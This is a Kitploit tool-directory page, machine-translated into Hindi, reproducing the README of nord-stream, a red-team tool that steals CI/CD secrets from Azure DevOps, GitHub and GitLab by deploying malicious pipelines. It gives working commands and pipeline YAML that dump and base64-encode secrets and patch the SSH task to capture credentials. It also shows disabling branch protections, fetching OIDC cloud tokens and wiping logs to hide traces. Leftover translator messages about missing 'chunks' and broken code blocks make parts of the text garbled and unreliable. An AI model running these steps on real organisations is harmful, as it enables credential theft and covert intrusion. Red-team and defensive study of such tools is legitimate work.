Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
nord-stream — नॉर्ड स्ट्रीम एक ऐसा टूल है जो आपको दुर्भावनापूर्ण पाइपलाइनों को तैनात करके CI/CD वातावरण के अंदर संग्रहीत रहस्यों (secrets) को निकालने की अनुमति देता है। यह वर्तमान में Azure DevOps, GitHub और GitLab का समर्थन करता है। | Kitploit
उपकरण/GitHubGitHub/synacktiv/nord-stream
शोषणपहचान छुपाने के उपकरणडेटा निष्कासनजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगDevSecOpsसीक्रेट डिटेक्शनरेड टीमिंग
GitHubsynacktiv/nord-stream

nord-stream

नॉर्ड स्ट्रीम एक ऐसा टूल है जो आपको दुर्भावनापूर्ण पाइपलाइनों को तैनात करके CI/CD वातावरण के अंदर संग्रहीत रहस्यों (secrets) को निकालने की अनुमति देता है। यह वर्तमान में Azure DevOps, GitHub और GitLab का समर्थन करता है।

रिपॉजिटरी देखें
37022472 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
वेबसाइट
साझा करें

नॉर्ड स्ट्रीम

नॉर्ड स्ट्रीम एक ऐसा टूल है जो आपको CI/CD वातावरण में संग्रहीत सीक्रेट्स को दुर्भावनापूर्ण पाइपलाइनों को तैनात करके निकालने की अनुमति देता है।

यह वर्तमान में Azure DevOps, GitHub और GitLab का समर्थन करता है।

निम्नलिखित ब्लॉगपोस्ट में और अधिक जानें: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks

विषय-सूची

  • नॉर्ड स्ट्रीम
    • विषय-सूची
    • स्थापना
    • उपयोग
      • साझा तर्क
        • टोकन का वर्णन करें
        • YAML बनाएं
        • YAML
        • लॉग साफ़ करें
        • कमिट पर हस्ताक्षर करना
      • Azure DevOps
        • सेवा कनेक्शन
          • SSH
        • ऑर्ग की सूची
        • सहायता
      • GitHub
        • सुरक्षाओं की सूची
        • सुरक्षाएं अक्षम करें
        • फोर्स
        • Azure OIDC
        • AWS OIDC
        • सहायता
      • GitLab
        • सीक्रेट्स की सूची
        • YAML
Output directory for logs --ignore-cert Allow insecure server connections Output directory for logs --url <gitlab_url> Gitlab URL [default: ] --ignore-cert Allow insecure server connections
  • सुरक्षाओं की सूची
  • सहायता
  • TODO
  • संपर्क
  • स्थापना```

    $ pipx install git+https://github.com/synacktiv/nord-stream

    root@kitploit:~
    `git` भी आवश्यक है (देखें https://git-scm.com/download/) और इसे आपके `PATH` में मौजूद होना चाहिए।
    
    ## उपयोग
    
    यहाँ GitHub पर एक सरल उदाहरण है; शुरुआत में, कोई विभिन्न गुप्त जानकारियों को सूचीबद्ध कर सकता है।```sh
    $ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
    [*] Listing secrets:
    [*] "org/repo" secrets
    [*] Repo secrets:
            - REPO_SECRET
            - SUPER_SECRET
    [*] PROD secrets:
            - PROD_SECRET
    

    फिर एक्सफ़िल्ट्रेशन के लिए आगे बढ़ें:```sh $ nord-stream github --token "$GHP" --org org --repo repo
    [+] "org/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch [] Getting secrets from repo: "org/repo" [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_SUPER_SECRET=value for super secret secret_REPO_SECRET=repository secret

    [] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment

    [] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github

    root@kitploit:~
    ### साझा तर्क
    
    कुछ तर्क [GitHub](#github), [Azure DevOps](#azure-devops) और [GitLab](#gitlab) के बीच साझा किए जाते हैं, यहाँ कुछ उदाहरण दिए गए हैं।
    
    #### टोकन का वर्णन करें
    
    `--describe-token` विकल्प का उपयोग आपके टोकन के बारे में सामान्य जानकारी प्रदर्शित करने के लिए किया जा सकता है:```bash
    $ nord-stream github --token "$PAT" --describe-token
    [*] Token information:
            - Login: CICD
            - IsAdmin: False
            - Id: 1337
            - Bio: None
    
    

    बिल्ड YAML

    --build-yaml विकल्प का उपयोग पाइपलाइन फ़ाइल बनाने के लिए किया जा सकता है, बिना इसे डिप्लॉय किए। यह संबंधित पाइपलाइन बनाने के लिए विभिन्न सीक्रेट नामों को प्राप्त करता है, जिसका उपयोग कस्टम चरण जोड़ने के लिए किया जा सकता है:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml [+] YAML file: name: GitHub Actions 'on': push jobs: init: runs-on: ubuntu-latest steps: - run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0 name: command env: secret_PROD_SECRET: ${{secrets.PROD_SECRET}} environment: PROD

    root@kitploit:~
    #### YAML
    
    कस्टम पाइपलाइन तैनात करने के लिए `--yaml` विकल्प का उपयोग किया जा सकता है:```yml
    name: GitHub Actions
    'on': push
    jobs:
      init:
        runs-on: ubuntu-latest
        steps:
        - run: echo "Hello from step 1"
          name: step 1
        - run: echo "Doing some important stuff here"
          name: command
        - run: echo "Hello from last step "
          name: last step
    

    कोई इनपुट सामग्री प्रदान नहीं की गई है। कृपया अनुवाद के लिए चंक 13 की सामग्री भेजें।```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here

    [] Cleaning logs. [] Check output: .../nord-stream-logs/github

    root@kitploit:~
    डिफ़ॉल्ट रूप से, यह `init` जॉब के `command` नामक कार्य का आउटपुट प्रदर्शित करेगा, लेकिन सब कुछ स्थानीय रूप से संग्रहीत है और मैन्युअल रूप से एक्सेस किया जा सकता है:```bash
    $ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
    2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
    2023-07-18T20:08:33.0459084Z echo "Hello from last step "
    2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
    2023-07-18T20:08:33.0511890Z ##[endgroup]
    2023-07-18T20:08:33.0597853Z Hello from last step
    

    क्लीन लॉग

    डिफ़ॉल्ट रूप से, Nord Stream पाइपलाइन तैनाती के बाद छोड़े गए निशानों को हटाने का प्रयास करेगा, जो आपके विशेषाधिकारों पर निर्भर करता है। निशानों को संरक्षित करने के लिए, --no-clean विकल्प का उपयोग किया जा सकता है। यह पाइपलाइन लॉग को रखेगा, लेकिन यह रिपॉजिटरी में किए गए परिवर्तनों को फिर भी वापस कर देगा। ध्यान दें कि GitLab के लिए, कुछ निशान हटाए नहीं जा सकते।

    कमिट पर हस्ताक्षर करना

    रिपॉजिटरी व्यवस्थापक किसी ब्रांच पर आवश्यक कमिट हस्ताक्षर (required commit signing) लागू कर सकते हैं ताकि सभी ऐसे कमिट को ब्लॉक किया जा सके जो हस्ताक्षरित और सत्यापित नहीं हैं। Nord Stream के साथ ऐसी सुरक्षा को बायपास करने के लिए कमिट पर हस्ताक्षर करना संभव है।

    पहले SCM प्लेटफॉर्म पर अपनी GPG कुंजी बनाएं और आयात करें।```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]

    root@kitploit:~
    The input section is empty — no source content was provided for chunk 19. Please supply the Markdown text to translate.```bash
    $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main  --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
    [*] Using branch: "main"
    [+] "synacktiv/repo"
    [*] Getting secrets from environment: "prod" (synacktiv/repo)
    [*] Getting workflow output
    [!] Workflow not finished, sleeping for 15s
    [+] Workflow has successfully terminated.
    [+] Secrets:
    secret_PROD_SECRET=my PROD_SECRET
    
    

    निर्भरताएँ अपडेट करें

    bundle update```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5

    root@kitploit:~
    ### Azure DevOps
    
    Nord Stream निम्नलिखित प्रकार के गुप्त (secrets) निकाल सकता है:
    - वेरिएबल समूह (vg)
    - सुरक्षित फ़ाइलें (sf)
    - सेवा कनेक्शन
    
    #### सेवा कनेक्शन
    
    Azure DevOps किसी जॉब में कार्य निष्पादित करने के लिए बाहरी और दूरस्थ सेवाओं के साथ कनेक्शन बनाने की सुविधा प्रदान करता है। इसके लिए सेवा कनेक्शन का उपयोग किया जाता है। एक सेवा कनेक्शन किसी दूरस्थ सेवा के लिए एक पहचान के क्रेडेंशियल रखता है। Azure DevOps में कई प्रकार के सेवा कनेक्शन होते हैं।
    
    Nord Stream वर्तमान में निम्नलिखित प्रकार के सेवा कनेक्शन के लिए गुप्त जानकारी निष्कर्षण का समर्थन करता है:
    - AzureRM
    - GitHub
    - AWS
    - SonarQube
    - SSH
    
    यदि आपको कोई असमर्थित प्रकार मिले, तो कृपया एक issue खोलें या pull request बनाएं :)
    
    ##### SSH
    
    इस सेवा कनेक्शन प्रकार के लिए निष्कर्षण लागू करना कष्टदायक था। आउटपुट निम्नलिखित है:```
    hostname:::port:::user:::password:::privatekey
    

    यदि आप इसे स्व-होस्टेड रनर पर चलाना चाहते हैं तो आप निम्न कार्य कर सकते हैं:``` $ nord-stream devops ... --build-yaml test.yml --build-type ssh
    [+] YAML file: trigger: none pool: vmImage: ubuntu-latest steps:

    • checkout: none
    • script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js) ; cp $SSH_FILE $SSH_FILE.bak ; sed -i 's|const readyTimeout = getReadyTimeoutVariable();|const readyTimeout = getReadyTimeoutVariable();\nconst fs = require("fs");var data = "";data += hostname
      • ":::" + port + ":::" + username + ":::" + password + ":::" + privateKey;fs.writeFile("/tmp/artefacts.tar.gz", data, (err) => {});|' $SSH_FILE displayName: Preparing Build artefacts
    • task: SSH@0 inputs: sshEndpoint: '#FIXME' runOptions: commands commands: sleep 1
    • script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js); mv $SSH_FILE.bak $SSH_FILE ; cat /tmp/artefacts.tar.gz | base64 -w0 | base64 -w0 ; echo '' displayName: Build artefacts
    root@kitploit:~
    फिर आपको यह करना होगा:
    1) `vmImage: ubuntu-latest` को `name: 'Self-Hosted pool name'` में बदलें
    2) `#FIXME` प्लेसहोल्डर में सेवा कनेक्शन का नाम जोड़ें।
    3) पाइपलाइन को इसके साथ डिप्लॉय करें: `--yaml test.yml`
    
    यदि आपको इसे Windows सेल्फ-होस्टेड रनर पर चलाना है, तो `generatePipelineForSSH` विधि में `_serviceConnectionTemplateSSH` को `_serviceConnectionTemplateSSHWindows` से बदलें और पहले बताई गई क्रियाएँ करें।
    
    नोट: Windows और Linux दोनों सेल्फ-होस्टेड रनर के लिए, आपको पथ (`/home/vsts/work/_tasks/` या `D:\a\`) को उस पथ के अनुसार अनुकूलित करना होगा जहाँ रनर तैनात है। यह जानकारी Azure DevOps पर किसी एजेंट के `Capabilities` टैब में प्राप्त की जा सकती है।
    
    #### संगठनों की सूची बनाना
    
    एक्सेस टोकन के साथ उपयोगकर्ता से बंधे संगठनों की सूची बनाना संभव है:```
    $ nord-stream devops --token "eyJ0eXA..." --list-orgs
    [*] User orgs:
            - myorg
            - supersecretorg
    

    यह इस शोध पर आधारित है।

    मदद```

    $ nord-stream devops -h CICD pipeline exploitation tool

    Usage: nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --build-yaml [--build-type ] nord-stream devops [options] --token --org --clean-logs [--project ] nord-stream devops [options] --token --org --list-projects [--write-filter] nord-stream devops [options] --token --org (--list-secrets [--project --write-filter] | --list-users) nord-stream devops [options] --token --org --describe-token

    Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir

    Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits

    args: --token Azure DevOps personal token or JWT --org Org name -p, --project Run on selected project (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --list-projects List all projects. --list-secrets List all secrets. --list-users List all users. --write-filter Filter projects where current user has write or admin access. --build-yaml Create a pipeline yaml file with default configuration. --build-type Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh --describe-token Display information on the token --branch-name Use specific branch name for deployment. --pipeline-name Use pipeline for deployment. --repo-name Use specific repo for deployment.

    Exctraction: --extract Extract following secrets [vg,sf,gh,az,aws,sonar,ssh] --no-extract Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]

    Examples: List all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg --list-secrets

    root@kitploit:~
    Dump all secrets from all projects
    $ nord-stream devops --token "$PAT" --org myorg
    

    Authors: @hugow @0hexit

    root@kitploit:~
    ### GitHub
    
    #### सुरक्षाएँ सूचीबद्ध करें
    
    `--list-protections` विकल्प का उपयोग किसी शाखा (branch) और परिवेशों (environments) पर लागू सुरक्षाओं को सूचीबद्ध करने के लिए किया जा सकता है:```bash
    $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
    [*] Using branch: "main"
    [*] Checking security: "synacktiv/repo"
    [*] Found branch protection rule on "main" branch
    [*] Branch protections:
            - enforce admins: True
            - block creations: True
            - required signatures: True
            - allow force pushes: False
            - allow deletions: False
            - required pull request reviews: False
            - required linear history: False
            - required conversation resolution: False
            - lock branch: False
            - allow fork syncing: False
    [*] Environment protection for: "DEV":
            - deployment branch policy: custom
    [*] No environment protection rule found for: "INT"
    [*] Environment protection for: "PROD":
            - deployment branch policy: custom
    

    आपकी अनुमतियों के आधार पर, आपके पास कम जानकारी हो सकती है, केवल व्यवस्थापकों के पास सुरक्षाओं की पूरी जानकारी हो सकती है।

    सुरक्षा अक्षम करें

    --disable-protections विकल्प का उपयोग किसी ब्रांच या वातावरण पर लागू सुरक्षाओं को अस्थायी रूप से अक्षम करने, डंप को पूरा करने और सभी सुरक्षाओं को पुनर्स्थापित करने के लिए किया जा सकता है:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections [] Using branch: "main" [+] "synacktiv/repo" [] Found branch protection rule on "main" branch [...] [!] Removing branch protection, wait until it's restored. [] Getting secrets from environment: "prod" (synacktiv/repo) [] Environment protection for: "PROD": - deployment branch policy: custom [!] Modifying env protection, wait until it's restored. [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [!] Restoring env protections. [+] Secrets: secret_PROD_SECRET=my PROD_SECRET

    [*] Cleaning logs. [!] Restoring branch protection.

    root@kitploit:~
    इसके लिए एडमिन विशेषाधिकार आवश्यक हैं।
    
    #### Force
    
    डिफ़ॉल्ट रूप से, यदि Nord Stream किसी ब्रांच या वातावरण पर सुरक्षा का पता लगाता है, तो वह गुप्त जानकारी निकालने का कार्य नहीं करेगा। यदि आपको लगता है कि सुरक्षाएँ अत्यधिक अनुमेय हैं या आपके विशेषाधिकारों से उन्हें बायपास किया जा सकता है, तो सुरक्षाओं की परवाह किए बिना पाइपलाइन तैनात करने के लिए `--force` विकल्प का उपयोग किया जा सकता है।
    
    #### Azure OIDC
    
    OIDC (OpenID Connect) का उपयोग क्लाउड सेवाओं से जुड़ने के लिए किया जा सकता है। सामान्य विचार यह है कि अधिकृत पाइपलाइनों या वर्कफ़्लो को बिना किसी स्थिर गुप्त जानकारी के, सीधे क्लाउड प्रदाता से अल्पकालिक एक्सेस टोकन प्राप्त करने की अनुमति दी जाए। प्राधिकरण क्लाउड प्रदाता की ओर से कॉन्फ़िगर किए गए विश्वास संबंधों पर आधारित होता है तथा पाइपलाइन या वर्कफ़्लो की उत्पत्ति द्वारा निर्धारित होता है।
    
    यहाँ OIDC का उपयोग करने वाले GitHub वर्कफ़्लो का एक उदाहरण दिया गया है:```yaml
    [...]
    steps:
        - name: OIDC Login to Azure Public Cloud
        uses: azure/login@v1
        with:
            client-id: ${{ secrets.AZURE_CLIENT_ID }}
            tenant-id: ${{ secrets.AZURE_TENANT_ID }}
            subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional
    

    यदि आपको ऐसा कोई वर्कफ़्लो मिलता है, तो इसका मतलब है कि रिपॉज़िटरी को एक अल्पकालिक एक्सेस टोकन प्राप्त करने के लिए कॉन्फ़िगर किया गया हो सकता है जो आपको Azure संसाधनों तक पहुंच प्रदान कर सकता है।

    Nord Stream निम्नलिखित विकल्पों के साथ ऐसे एक्सेस टोकन को पुनः प्राप्त करने के लिए एक पाइपलाइन तैनात करने में सक्षम है:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 [] Using branch: "main" [+] "synacktiv/repo" [] No branch protection rule found on "main" branch [] Running OIDC Azure access tokens generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC access tokens: Access token to use with Azure Resource Manager API: { "accessToken": "eyJ0eXAiOiJK[...]PVig", "expiresOn": "2023-07-18 23:18:57.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }

    Access token to use with MS Graph API: { "accessToken": "eyJ0eXAi[...]_qTA", "expiresOn": "2023-07-19 22:18:59.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }

    root@kitploit:~
    The `--azure-subscription-id` वैकल्पिक है और इसका उपयोग किसी विशिष्ट सदस्यता के लिए एक्सेस टोकन प्राप्त करने के लिए किया जा सकता है।
    
    #### AWS OIDC
    
    यही तकनीक ([Azure OIDC](#azure-oidc) देखें) AWS पर सत्र टोकन प्राप्त करने के लिए इस्तेमाल की जा सकती है।
    
    AWS OIDC का उपयोग करने वाले एक वर्कफ़्लो का उदाहरण यहाँ दिया गया है:```yaml
    [...]
    steps:
        - name: Configure AWS Credentials
        uses: aws-actions/configure-aws-credentials@v1
        with:
            role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole
            role-session-name: oidcrolesession
            aws-region: us-east-1
    

    यदि आपको ऐसा कोई workflow मिलता है, तो इसका मतलब है कि repository में AWS एक्सेस टोकन प्राप्त करने के लिए कॉन्फ़िगर किया गया हो सकता है, जो आपको AWS संसाधनों तक पहुंच प्रदान कर सकता है।

    Nord Stream निम्नलिखित विकल्पों के साथ ऐसे एक्सेस टोकन को प्राप्त करने के लिए एक pipeline तैनात करने में सक्षम है:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force [+] "Synacktiv/repo" [] Running OIDC AWS credentials generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC credentials: AWS_DEFAULT_REGION=us-east-1 AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6 AWS_REGION=us-east-1 AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA

    root@kitploit:~
    #### सहायता```
    $ nord-stream github -h
    CICD pipeline exploitation tool
    
    Usage:
        nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
        nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
        nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]
        nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]
        nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
        nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
        nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]
        nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]
        nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]
        nord-stream github [options] --token <ghp> --describe-token
    
    Options:
        -h --help                               Show this screen.
        --version                               Show version.
        -v, --verbose                           Verbose mode
        -d, --debug                             Debug mode
        --output-dir <dir>                      Output directory for logs
    
    Signing:
        --key-id <id>                           GPG primary key ID
        --user <user>                           User used to sign commits
        --email <email>                         Email address used to sign commits
    
    args
        --token <ghp>                           Github personal token
        --org <org>                             Org name
        -r, --repo <repo>                       Run on selected repo (can be a file)
        -y, --yaml <yaml>                       Run arbitrary job
        --clean-logs                            Delete all logs created by this tool. This operation is done by default but can be manually triggered.
        --no-clean                              Don't clean workflow logs (default false)
        --clean-branch-policy                   Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.
        --build-yaml <filename>                 Create a pipeline yaml file with all secrets.
        --env <env>                             Specify env for the yaml file creation.
        --no-repo                               Don't extract repo secrets.
        --no-env                                Don't extract environnments secrets.
        --no-org                                Don't extract organization secrets.
        --azure-tenant-id <tenant>              Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).
        --azure-subscription-id <subscription>  Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).
        --azure-client-id <client>              Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).
        --aws-role <role>                       AWS role to assume (OIDC related).
        --aws-region <region>                   AWS region (OIDC related).
        --list-protections                      List all protections.
        --list-repos                            List all repos.
        --list-secrets                          List all secrets.
        --disable-protections                   Disable the branch protection rules (needs admin rights)
        --write-filter                          Filter repo where current user has write or admin access.
        --force                                 Don't check environment and branch protections.
        --branch-name <name>                    Use specific branch name for deployment.
        --describe-token                        Display information on the token
    
    Examples:
        List all secrets from all repositories
        $ nord-stream github --token "$GHP" --org myorg --list-secrets
    
        Dump all secrets from all repositories and try to disable branch protections
        $ nord-stream github --token "$GHP" --org myorg --disable-protections
    
    Authors: @hugow @0hexit
    

    GitLab

    जैसा कि लेख में वर्णित है, पाइपलाइन डिप्लॉयमेंट के बाद एक्टिविटी टैब में लॉग्स को हटाने का कोई तरीका नहीं है। Red Team अभियानों के दौरान इसे ध्यान में रखा जाना चाहिए।

    सीक्रेट सूचीबद्ध करें

    --list-secrets विकल्प का उपयोग GitLab से सीक्रेट्स को सूचीबद्ध करने और निकालने के लिए किया जा सकता है।

    GitLab जिस तरह से सीक्रेट्स का प्रबंधन करता है वह Azure DevOps और GitHub action से कुछ अलग है। किसी प्रोजेक्ट, ग्रुप या GitLab इंस्टेंस पर एडमिन एक्सेस के साथ, बिना कोई पाइपलाइन डिप्लॉय किए सभी परिभाषित CI/CD वेरिएबल्स को निकालना संभव है।

    हालाँकि, कम विशेषाधिकार वाले उपयोगकर्ता के लिए प्रोजेक्ट / ग्रुप या इंस्टेंस स्तर पर परिभाषित सीक्रेट्स को सूचीबद्ध करना संभव नहीं है। लेकिन, यदि किसी उपयोगकर्ता के पास किसी प्रोजेक्ट पर लेखन (write) विशेषाधिकार हैं, तो वे CI/CD वेरिएबल्स को उजागर करने वाले एनवायरनमेंट वेरिएबल्स को बाहर निकालने के लिए एक दुर्भावनापूर्ण पाइपलाइन तैनात कर सकेंगे। इसका मतलब है कि कम विशेषाधिकार वाले उपयोगकर्ता के पास यह जानने का कोई साधन नहीं है कि किसी विशेष प्रोजेक्ट में कोई सीक्रेट परिभाषित है या नहीं। एकमात्र तरीका यह है कि प्रोजेक्ट में पहले से मौजूद वैध पाइपलाइनों को देखा जाए और जाँचा जाए कि कोई पाइपलाइन संवेदनशील एनवायरनमेंट वेरिएबल्स का उपयोग करती है या नहीं।

    यहाँ GitLab पर यह ऑपरेशन करने के लिए एक पाइपलाइन फ़ाइल है:```yaml stages:

    • synacktiv

    deploy-production: image: ubuntu:latest stage: synacktiv script: - env | base64 -w0 | base64 -w 0

    root@kitploit:~
    GitLab Azure DevOps की तरह सुरक्षित फ़ाइलों का भी समर्थन करता है। सुरक्षित फ़ाइलें प्रोजेक्ट स्तर पर परिभाषित की जाती हैं। वेरिएबल्स की तरह, प्रोजेक्ट के एडमिन एक्सेस के बिना सुरक्षित फ़ाइलों को सूचीबद्ध करना संभव नहीं है। हालाँकि, एडमिन एक्सेस के साथ nord-stream प्रोजेक्ट्स से संबंधित सुरक्षित फ़ाइलों को बाहर निकालने (exfiltrate) का प्रयास करेगा।
    
    #### YAML
    
    [YAML](#yaml) की तरह ही, हालाँकि आपको पूरा प्रोजेक्ट पथ इस प्रकार देना होगा:```sh
    $ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml
    

    कमांड --list-projects का आउटपुट ऐसा पथ लौटाता है।

    सुरक्षा सूची

    वैसा ही जैसा GitHub सुरक्षा सूची

    सहायता```

    $ nord-stream gitlab -h CICD pipeline exploitation tool

    Usage: nord-stream gitlab [options] --token (--list-secrets | --list-protections) [--project --group --no-project --no-group --no-instance --write-filter] nord-stream gitlab [options] --token ( --list-groups | --list-projects ) [--project --group --write-filter] nord-stream gitlab [options] --token --yaml --project [--no-clean] nord-stream gitlab [options] --token --clean-logs [--project ] nord-stream gitlab [options] --token --describe-token

    Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir

    https://gitlab.com

    Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits

    args: --token GitLab personal access token or _gitlab_session cookie --project Run on selected project (can be a file) --group Run on selected group (can be a file) --list-secrets List all secrets. --list-protections List branch protection rules. --list-projects List all projects. --list-groups List all groups. --write-filter Filter repo where current user has developer access or more. --no-project Don't extract project secrets. --no-group Don't extract group secrets. --no-instance Don't extract instance secrets. -y, --yaml Run arbitrary job --branch-name Use specific branch name for deployment. --clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --describe-token Display information on the token

    Examples: Dump all secrets $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets

    root@kitploit:~
    Deploy the custom pipeline on the master branch
    $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
    

    Authors: @hugow @0hexit

    root@kitploit:~
    ## TODO
    
    - [ ] Azure DevOps Server इंस्टेंस (ऑन-प्रिमाइसेस समाधान) के अनुरूप URL का समर्थन जोड़ें
    - [ ] Windows होस्ट के माध्यम से सीक्रेट निकालने का विकल्प जोड़ें
    - [ ] अन्य CI/CD वातावरणों (Jenkins/Bitbucket) का समर्थन जोड़ें
    - [ ] ब्रांच प्रोटेक्शन नियमों को सूचीबद्ध करने के लिए REST API के बजाय GitHub GraphQL API का उपयोग करें और यदि वे पुश किए जाने वाले दुर्भावनापूर्ण ब्रांच से मेल खाते हैं तो उन्हें अस्थायी रूप से अक्षम करें
    
    ## संपर्क
    
    कृपया किसी भी बग, समस्या, प्रश्न या फीचर अनुरोध को "Issues" के अंतर्गत सबमिट करें या उन्हें ट्विटर पर हमें भेजें [@hugow](https://twitter.com/hugow_vincent) और [@0hexit](https://twitter.com/0hexit)।
    
    टूल डाउनलोड करें